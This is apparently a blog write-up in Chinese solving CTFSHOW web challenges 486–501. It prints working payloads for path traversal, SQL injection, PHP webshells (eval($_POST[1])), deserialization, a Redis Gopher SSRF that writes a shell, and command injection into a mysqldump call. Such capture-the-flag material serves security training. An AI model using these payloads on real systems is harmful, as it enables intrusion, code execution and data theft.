CTFSHOW 中期测评(一)web486 - web501
题目列表
web486
打开之后发现是个登录框,PATH为/index.php?action=login

尝试修改/index.php?action=login为/index.php?action=1,发生报错

由报错内容可知网站可能存在文件包含漏洞,尝试进行目录穿越读取flag
1 | /index.php?action=../flag |
访问源码得到flag

web487
修改/index.php?action=login为/index.php?action=../index,可以查看源码

存在SQL注入漏洞,而且没有过滤,测试后发现没有回显,用时间盲注
先验证一下
1 | /index.php?action=check&username=1&password=') or sleep(3)--+ |
没有问题

这里用sqlmap去跑结果了,省点时间
1 | python sqlmap.py -u "https://39dc9317-0164-419c-ac40-b3d76de931e5.challenge.ctf.show/index.php?action=check&username=1&password=1" --batch -D ctfshow -T flag -C flag --dump |

web488
打开题目之后,也是跟之前一样读取index代码
1 | /index.php?action=../index |

sql那里两个参数都被md5包裹了,不能用sql注入做了。继续往下分析,可以看到有个templateUtil::render('error',array('username'=>$username)),暂时不知道templateUtil类和render函数有何用处
同时看到上面include了两个php文件

通过目录穿越读取这两个文件代码分析后,发现 render_class.php 有用,db_class.php 则是数据库的一些连接配置,暂时用不到
1 | /index.php?action=../render/render_class |

可以看到里面定义了render函数和shade函数,其中render函数我们重点关注以下代码
1 | else{ |
$templateContent 获取templates/$template.php页面返回的内容,然后$cache调用shade函数替换$templateContent 中的字符串,把{{username}}替换为传入的数组key:value中的value值,最后再调用cache类中的create_cache函数
上面可以看到包含了cache_class.php,我们继续看看create_cache函数有什么作用
1 | /index.php?action=../render/cache_class |

create_cache函数先检查是否存在文件cache/md5($template).php,如果没有则创建一个php文件,并把$content写进去,其中$content我们可以控制,且$template也是固定的,那就很简单了
利用链:
1 | templateUtil::render() -> templateUtil::shade() -> cache::create_cache() -> fileUtil::write() |
我们看看index关键代码
1 | if($action=='check'){ |
$user不存在时就会进入else语句,然后传入$template为 error,数组为[username: 任意内容]。我们可以写个webshell进去,因为error的md5值为cb5e100e5a9a3e7f6d1fd97512215282,文件会上传到
1 | cache/cb5e100e5a9a3e7f6d1fd97512215282.php |
要注意如果已经查询过的话,会进入else分支,那么cache/cb5e100e5a9a3e7f6d1fd97512215282.php就已经存在了,后面再查询就会返回true,无法再进入create_cache函数的else分支,也就无法再写入webshell了,这种情况只能重开靶机,这一点要注意

可以输入/index.php?action=error测试一下,访问templates/error.php,可以看到页面返回{{username}}不存在,正好符合条件,可以把{{username}}置换为我们传入的任意内容

重开靶机,然后GET传入payload
1 | /index.php?action=check&username=<?php eval($_POST[1]);?>&password=123 |
显示不存在即为成功

然后蚁剑连接,路径为cache/cb5e100e5a9a3e7f6d1fd97512215282.php,要注意把https改成http

在根目录找到flag

web489
继续看index代码
1 | /index.php?action=../index |

可以看到else分支改了,不能上传内容到error那里了,但是题目给出了关键代码extract($_GET),意思是将 $_GET 数组中的所有键值对转换成对应的普通变量,那我们可以通过变量覆盖来触发templateUtil::render('index',array('username'=>$username)),效果跟上题一样
这次题目贴心给出了cache清除代码,如果你在登录框尝试登录过,那可以通过输入/index.php?action=clear来清除cache目录,这样就不用重启靶机了
1 | if($action=='clear'){ |
方法跟上题差不多,不过payload要改成
1 | /index.php?action=check&username=<?php eval($_POST[1]);?>&sql=select 1; |
通过变量覆盖使if永真,然后读取的位置从error变成了index,其他一样

在根目录找到flag

web490
先来看看index代码,方法跟之前一样

我们关注重点以下代码
1 | if($action=='check'){ |
sql语句变了,username那里没有md5包裹了,然后render('index',array('username'=>$username));变成了render('index',array('username'=>$user->username));
那好办,方法跟之前一样,只不过这次通过sql注入改变查询的username的值,使后面的$user->username能返回我们想要的值
但是一开始输入payload
1 | /index.php?action=check&username=1' union select '<?php eval($_POST[1]);?>'--+&password=1 |
会发现莫名其妙返回了一个?>

查看/cache/6a992d5529f459a44fee58c733255e86.php,发现页面显示语法错误

那估计大概率是字符串替换后本身就已经被php标签包裹了,所以多出来的?>就显示在页面上了。后面发现/index.php?action=index可以看到传入后的代码,也验证了猜想

那我们修改一下代码,先输入/index.php?action=clear清空缓存,再传入payload,后面的题目如果有输入过username这些,记得一定要先清空cache,不然内容写不进去
1 | /index.php?action=check&username=1' union select 'eval($_POST[1])'--+&password=1 |
蚁剑连接,在根目录找到flag

web491
继续分析代码

被修复了,不能用之前的方法写入webshell了,但是username那边没有md5包裹,可以用SQL注入获取flag
payload:
1 | /index.php?action=check&username=1' union select load_file('/flag') into outfile "/tmp/3.php" --+&password=1 |
然后目录穿越读取flag

web492
先看代码

这个多了一个正则,然后上题的templateUtil::render('index')改回templateUtil::render('index',$user),可以继续用之前的方法
payload:
1 | /index.php?action=check&username='1&user[username]=<?php eval($_POST[1]);?> |
大概思路就是利用extract($_GET);污染变量,然后username随便带个符号跳过正则验证直接来到templateUtil::render('index',$user),后面的步骤跟之前一样,也是通过字符串替换写入webshell
然后蚁剑连接读取flag

web493
先看代码

因为下面的render只传入了$template,没有传入数组参数,所以不能走这条路。然后SQL那里又有正则限制,不能出现符号,所以也无法进行SQL注入,但是上面出现了关键代码
1 | if(!isset($action)){ |
那我们可以用反序列化来做这题,读取上面的render/db_class.php
1 | /index.php?action=../render/db_class |
得到代码
1 |
|
构建反序列化payload
1 |
|
得到结果为
1 | O%3A2%3A%22db%22%3A2%3A%7Bs%3A3%3A%22log%22%3BO%3A5%3A%22dbLog%22%3A3%3A%7Bs%3A3%3A%22sql%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A9%3A%22log%2F3.php%22%3B%7Ds%3A3%3A%22sql%22%3BN%3B%7D |
然后cookie写入payload,记得要满足if(!isset($action)),把action参数删去就可以

然后蚁剑连接

web494
先看代码

一开始看到templateUtil::render('index',$user),我以为可以继续用之前的方法,但是后面连接webshell怎么都连不上,读取/render/cache_class.php代码之后发现php后缀改成html后缀了,那没办法了

反序列化那里加了if(preg_match('/\:|\,/', $c)){来过滤,不过不影响,继续用上题的反序列化方法
payload:
1 |
|
结果
1 | O%3A2%3A%22db%22%3A2%3A%7Bs%3A3%3A%22log%22%3BO%3A5%3A%22dbLog%22%3A3%3A%7Bs%3A3%3A%22sql%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A9%3A%22log%2F3.php%22%3B%7Ds%3A3%3A%22sql%22%3BN%3B%7D |
然后cookie传入,蚁剑连接webshell,找了一会找不到flag,那连接数据库看看,先读取/render/db_class.php查看数据库配置信息

然后蚁剑连接

读取flag

web495
核心代码没有变
1 | if(!isset($action)){ |
可以继续用上题的方法,flag在数据库

web496
查看代码

发现反序列化代码被注释了,然后SQL正则那里多了一些过滤,可以用万能密码登录系统
1 | 账号:'||1=1# |
进去后点击基本资料,可以看到管理员信息修改

查看网页源码,发现是通过POST发送请求到api/admin_edit.php

我们查看api/admin_edit.php的源码,GET请求/index.php?action=../api/admin_edit

可以看到有个update语句,然后下面有修改成功和失败的文本信息。那我们的思路就是写个脚本,先用万能密码登录保持登录状态,然后在user[username]数组里写payload进行布尔盲注,同时要保证nickname不重复
payload:
1 | import requests |
运行脚本得到flag

web497
查看代码

$user=unserialize($c)的注释去掉了,但是前面的正则匹配加了感叹号,也就是不能出现冒号和逗号,那我们不走这个方法,继续用万能密码登录系统,账号'||1=1#,密码1
然后点击基本信息,发现头像处可以修改

直接file协议读取flag文件,存在SSRF漏洞
1 | file:///flag |
修改成功后右键点击头像,选择在新标签页中打开图像,成功读到flag

web498
也是上一题的方法,读/etc/passwd可以,但是读flag读不到了,可能是权限不足,也可能是flag不叫这个名字了或者在其他目录

刚好看到/etc/passwd里面有个redis,输入dict://127.0.0.1:6379探测端口开放情况

用Gopher协议打SSRF就可以,工具Gopherus

1 | gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A |
然后访问/shell.php,查看根目录

读取flag

web499
头像地址没了,SSRF打不通

随便点了一下,发现系统配置可以打开

查看源代码,发现有个api/admin_settings.php路径

查看api/admin_settings.php源码

关键代码
1 | if($user){ |
它会把POST传进来的键值对放入数组,然后写入文件config/settings.php,我们看看config/settings.php源码

刚好对应的就是前面的系统配置页面,那我们在系统配置页面传入一句话木马

可以看到木马已经成功写入

蚁剑连接

在根目录找到flag

web500
上题的代码改了,不是写到php文件了,那我们换个方法

回到管理页面点了一通,发现数据库备份可以打开

查看源码,发现其POST请求发送到api/admin_db_backup.php,那我们读取源码看看

关键代码shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path),那我们可以拼接命令读取flag
payload:
1 | ;cat /f*>/var/www/html/1.txt |

然后访问1.txt读取flag

web501
这次修改名称的地方不见了

查看代码,发现其多了个正则匹配

因为前面有个extract($_POST),然后数据库备份的源码写了POST请求的目标地址

那我们可以直接向目标地址发送POST请求执行命令

然后访问/1.txt读取flag

CTFSHOW 中期测评(一)web486 - web501
https://waynejoon.github.io/posts/ctfshow-mid-term-assessment-web486-web501/